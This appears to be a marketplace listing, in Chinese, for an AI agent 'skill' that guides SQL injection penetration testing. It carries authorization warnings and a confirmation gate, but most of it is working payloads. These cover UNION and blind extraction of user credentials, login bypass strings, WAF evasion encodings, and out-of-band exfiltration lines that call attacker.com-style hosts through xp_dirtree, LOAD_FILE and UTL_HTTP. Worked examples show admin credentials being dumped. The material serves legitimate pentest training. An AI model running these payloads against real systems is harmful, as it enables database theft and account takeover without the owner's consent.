mcpField
S
sql-injection-testing

sql-injection-testing

github.com/sickn33安全48.7k653 次安装今天更新
代码仓库

关于 sql-injection-testing

面向授权渗透测试和受控学习环境的 Web 应用 SQL 注入测试技能,涵盖检测、利用类型、证据整理与修复建议。主动测试前必须完成授权范围确认。

主要功能

  1. 01注入检测与侦察
  2. 02带内、盲注及带外测试
  3. 03身份验证绕过评估
  4. 04数据库指纹识别与枚举
  5. 05证据整理与修复报告
  6. 06授权确认门槛

适用场景

  1. 01评估已授权范围内的 Web 输入
  2. 02在实验环境验证 SQL 注入防护
  3. 03整理漏洞发现与证据

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/sickn33/agentic-awesome-skills --skill sql-injection-testing

安装后在 Claude Code 中输入/sql-injection-testing确认已加载。

详细介绍

⚠️ 仅限授权用途 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须先取得系统所有者的明确书面许可。 滥用此工具属于违法行为,严格禁止。

强制确认关卡 在运行任何探测、利用漏洞、修改、持久化、提取目标数据或尝试获取目标凭据的命令之前:

  1. 请用户说明确切的目标 URL、IP、账户或资源。
  2. 请用户确认已取得书面授权并说明许可范围。
  3. 展示确切的命令,并说明其预期效果。
  4. 等待用户在当前对话中明确确认。

未经确认,请保持只读,并且仅提供防御性指导。优先使用沙盒、一次性 VM 或受控实验环境。

仅限授权用途:此技能仅可用于经授权的安全评估、防御性验证或受控教育环境。

SQL 注入测试

目的

对 Web 应用执行全面的 SQL 注入漏洞评估,以识别数据库安全缺陷、演示漏洞利用技术,并验证输入清理机制。此技能支持系统性地检测和利用带内、盲注和带外攻击途径中的 SQL 注入漏洞,以评估应用的安全状况。

输入/前提条件

所需访问权限
  • 包含可注入参数的目标 Web 应用 URL
  • 用于修改请求的 Burp Suite 或同等代理工具
  • 用于自动化漏洞利用的 SQLMap 安装
  • 已启用开发者工具的浏览器
技术要求
  • 了解 SQL 查询语法(MySQL、MSSQL、PostgreSQL、Oracle)
  • 了解 HTTP 请求/响应周期
  • 熟悉数据库架构和结构
  • 具有编写测试报告的权限
法律前提条件
  • 已取得渗透测试的书面授权
  • 已界定范围,包括目标 URL 和参数
  • 已制定紧急联系人流程
  • 已签署数据处理协议

输出/交付物

主要输出
  • 带有严重性评级的 SQL 注入漏洞报告
  • 提取的数据库架构和表结构
  • 身份验证绕过概念验证演示
  • 附带代码示例的修复建议
证据材料
  • 注入成功的屏幕截图
  • HTTP 请求/响应日志
  • 数据库转储(已清理)
  • 载荷文档

核心工作流

阶段 1:检测与侦察
识别可注入参数

定位与数据库查询交互的用户可控输入字段:

# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For
测试基本漏洞迹象

插入特殊字符以触发错误响应:

-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

-- Parentheses
)

监控应用响应,查找以下情况:

  • 泄露查询结构的数据库错误消息
  • 应用行为发生意外变化
  • HTTP 500 内部服务器错误
  • 响应内容或长度发生变化
逻辑测试载荷

验证是否存在基于布尔条件的漏洞:

-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition tests  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

比较条件为真和为假时的响应,以确认注入能力。

阶段 2:漏洞利用技术
基于 UNION 的提取

将攻击者控制的 SELECT 语句与原始查询合并:

-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
基于错误的提取

触发会泄露信息的数据库错误:

-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--
盲注布尔条件提取

通过应用行为变化推断数据:

-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
基于时间的盲注提取

使用数据库休眠函数进行确认:

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--
带外(OOB)提取

仅限实验环境的示例。将所有回调域名替换为明确授权的测试接收端;请勿联系示例中的域名,也勿发送真实数据。网络回调可能需要特定数据库权限、平台支持和出站流量。 通过外部信道外传数据:

-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
阶段 3:身份验证绕过
登录表单利用

构造用于绕过凭据验证的载荷:

-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2

查询转换示例:

-- Original query
SELECT * FROM users WHERE username='input' AND password='input' -- security-allowlist: controlled SQL injection test example

-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example
-- Password check bypassed via comment
阶段 4:过滤绕过技术
字符编码绕过

这些历史载荷依赖特定解析器/过滤器,并非通用的绕过方法。Unicode 形似字符、空字节以及插入关键字内部的注释通常无法解析为 SQL。仅在已声明数据库及版本的授权测试环境中进行验证。 特殊字符被拦截时:

-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)

-- Double URL encoding
%2527 (single quote)

-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)

-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex
空白字符绕过

替换被拦截的空格:

-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users

-- Alternative whitespace
SELECT%09username%09FROM%09users  -- Tab character
SELECT%0Ausername%0AFROM%0Ausers  -- Newline
关键字绕过

规避列入黑名单的 SQL 关键字:

-- Case variation
SeLeCt, sElEcT, SELECT

-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION

-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

-- Null byte injection
%00SELECT
SEL%00ECT

快速参考

检测测试顺序
1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
数据库指纹识别
-- MySQL
SELECT @@version
SELECT version()

-- MSSQL
SELECT @@version
SELECT @@servername

-- PostgreSQL
SELECT version()

-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version
信息架构查询
-- MySQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- MSSQL: use the intended schema in the current authorized database
SELECT table_name FROM information_schema.tables WHERE table_schema='dbo'

-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
常见载荷速查表
目的载荷
基本测试' or "
布尔值为真OR 1=1--
布尔值为假AND 1=2--
注释(MySQL)# or --
注释(MSSQL)--
UNION 探测UNION SELECT NULL--
时间延迟AND SLEEP(5)--
身份验证绕过' OR '1'='1

限制与防护措施

操作边界
  • 未获得明确授权,不得执行破坏性查询(DROP、DELETE、TRUNCATE)
  • 将数据提取量限制在概念验证所需的范围内
  • 避免通过资源密集型查询造成拒绝服务
  • 一旦发现生产数据库中包含真实用户数据,立即停止
技术限制
  • WAF/IPS 可能会拦截常见载荷,需要采用规避技术
  • 参数化查询可以防止常规注入
  • 某些盲注需要发送大量请求(需考虑速率限制)
  • 二阶注入需要了解数据流
法律与道德要求
  • 测试前必须签订书面范围协议
  • 记录所有提取的数据,并按照数据保护要求处理
  • 通过约定渠道立即报告严重漏洞
  • 绝不得访问超出范围要求的数据

示例

示例 1:电商产品页面 SQLi

场景:测试带有 ID 参数的产品展示页面

初始请求:

GET /product.php?id=5 HTTP/1.1

检测测试:

GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near ''' 

列枚举:

GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)

数据提取:

GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials
示例 2:基于盲注时间的提取

场景:没有可见输出,测试是否存在盲注

确认漏洞:

id=5' AND SLEEP(5)-- 
-- A delay is an indicator only; compare bounded repeated true/false controls
-- against baseline latency before attributing it to SQL execution.

提取数据库名称长度:

id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- A reproducible controlled delay may support this hypothesis; one sample does not confirm it.

提取字符:

id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'
示例 3:登录绕过

目标:管理员登录表单

标准登录查询:

SELECT * FROM users WHERE username='[input]' AND password='[input]' -- security-allowlist: controlled SQL injection test example

注入载荷:

Username: administrator'--
Password: anything

生成的查询:

SELECT * FROM users WHERE username='administrator'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example

结果:绕过密码检查,以管理员身份通过身份验证。

故障排查

未显示错误消息
  • 应用使用通用错误处理
  • 改用盲注技术(布尔型或基于时间)
  • 监测响应长度差异,而非响应内容
UNION 注入失败
  • 列数可能不正确 → 使用 ORDER BY 测试
  • 数据类型可能不匹配 → 首先在所有列中使用 NULL
  • 结果可能不会显示 → 找出可注入的列位置
WAF 拦截请求
  • 使用编码技术(URL、十六进制、Unicode)
  • 在关键字内部插入内联注释
  • 尝试使用替代语法执行相同操作
  • 将载荷拆分到多个参数中
载荷未执行
  • 确认数据库类型对应的注释语法正确
  • 检查应用是否使用参数化查询
  • 确认输入传入了 SQL 查询(而非仅在客户端过滤)
  • 测试不同的注入点(请求头、Cookie)
基于时间的注入结果不一致
  • 网络延迟可能导致误报
  • 使用有界、低影响的测试时间窗口并重复对照测试;未经负载/可用性授权,不得增加延迟
  • 多次测试以确认模式
  • 考虑服务器端缓存的影响

适用场景

此技能适用于执行概述中所述的工作流或操作。

评论

支持 Markdown